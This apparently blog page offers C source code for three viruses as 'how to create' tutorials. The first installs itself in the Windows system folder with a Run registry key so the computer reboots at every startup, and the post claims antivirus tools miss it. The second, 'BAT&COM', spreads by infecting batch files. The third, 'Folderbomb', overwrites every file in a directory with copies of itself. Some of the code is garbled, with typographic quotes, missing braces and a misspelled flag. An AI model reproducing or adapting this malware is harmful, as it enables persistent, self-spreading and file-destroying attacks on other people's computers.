Showing posts with label C PROGRAMMING. Show all posts
Showing posts with label C PROGRAMMING. Show all posts

Wednesday, April 18, 2012

COMPUTER RESTART VIRUS


How to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus. 

SOURCE CODE

#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

The BAT&COM Virus in C

The BAT&COM Virus in C

    - - - -----------------Start Code------------------------- - - -
 
    /*  This file is a high-level language virus of a different sort.
        It will search out batch files and, when found, place a copy
        of itself in the directory with the batch file while adding
        instructions in the BAT to execute this new file.  In this way,
        it will spread each time an "infected" batch is run.
        Disinfection is done simply by deleting all of the BAT&COM.COM
        files and removing the commands from batch files that run
        them.  This one is NOT confined to the current directory,
        so make sure it is on an isolated machine and be sure to
        clean up any infections. PLEASE DO NOT RELEASE! */
 
 
    #include <stdio.h>
    #include <dos.h>
    #include <dir.h>
    #include <string.h>
 
            struct ffblk ffblk;
    main()
    {
         char old_dir[MAXPATH];
         Get_Path(old_dir);            /* Save the old directory  */
         Pick_A_Dir();                 /* Find a new directory to */
         Infect_Directory();           /* infect and infect it.   */
         chdir(old_dir);               /* Return to old directory */
         return 0;
    }
 
 
 
    Pick_A_Dir()
    {
         int done;
         chdir("..");                      /* First, Go out a DIR. */
         done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
                                           /* root and DOS         */
         if (done)
                {
                chdir("\\");
                done=findfirst("*.BAT",&ffblk,0);
                if (done) chdir("\\DOS\\");
                }
    return 0;
    }
 
 
    Infect_Directory()
    {
         int done;
 
         done = findfirst("*.BAT",&ffblk,0);
         while (!done)                       /* Find all .BAT files */
            {                                /* and add code to run */
             Do_Batch();                     /* BAT&COM if not      */
             done = findnext(&ffblk);        /* already there       */
            }
 
         if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does  */
            {Copy_Virus();}                     /* not exist, then  */
         return 0;                              /* copy it into dir.*/
    }
 
 
 
    Do_Batch()
    {
            FILE *batch;
            char Infection_Buffer[12];
            char vpath[MAXPATH];
 
            Get_Path(vpath);            /* Get path for adding path */
                                        /* specifier in commands    */
 
 
            if (vpath[3]==0) vpath[2]=0; /* Keep path good in root  */
 
            batch=fopen(ffblk.ff_name, "rt+");
            fseek(batch, -11, SEEK_END);
            fread(Infection_Buffer,11,1,batch);
            Infection_Buffer[11]=0;             /* Terminate String */
 
            if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
                    {                                   /* Batch is */
                    fseek(batch, 0, SEEK_END);          /* infected.*/
                    fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
                    }                              /*^- Add command */
                                                   /*   to batch    */
 
            fclose(batch);
            return 0;
    }
 
 
    Copy_Virus()
    {
         FILE *old_virus, *new_virus;
         int write_length;
         char copy_buffer[1024];              /* Copy the virus to */
                                              /* new directory     */
         old_virus=fopen(_argv[0],"rb");
         new_virus=fopen("BAT&COM.COM","wb");
 
         write_length=1024;
 
         while (write_length==1024)
            {
            write_length=fread(copy_buffer,1,1024,old_virus);
            fwrite(copy_buffer,write_length,1,new_virus);
            }
         fclose(old_virus);
         fclose(new_virus);
         return 0;
    }
 
 
    Get_Path(char *path)
    {
            strcpy(path, "A:\\");
            path[0] ='A' + getdisk();    /* Returns current path */
            getcurdir(0, path+3);
            return 0;
    }
    - - - -----------------End of Code------------------------ - - -

FOLDER REPLICATOR VIRUS IN C PROGRAM



****it will create folder in a folder in a folder and so on run this on your own responsibility****
  1. include<stdio.h>
  2. include<dos.h>
  3. include<dir.h>
  4. include<fcntl.h>
  5. include<conio.h>
void main(int argc,char* argv[])

char buf[512];
int source,target,byt,done; 
struct ffblk ffblk; 
clrscr(); 
textcolor(2); 
cprintf(”————————————————————————–”); 
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”); 
cprintf(”————————————————————————–”); 
done = findfirst(”*.*”,&ffblk,0); 
while (!done) 

printf(”\n”);
cprintf(” %s “, ffblk.ff_name);
printf(”is attacked by “);
cprintf(”Folderbomb”); 
source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); 
while(1) {byt=read(source,buf,512); 
if(byt>0) write(target,buf,byt); else break; 

close(source); 
close(target); 
done = findnext(&ffblk); 

getch(); 
}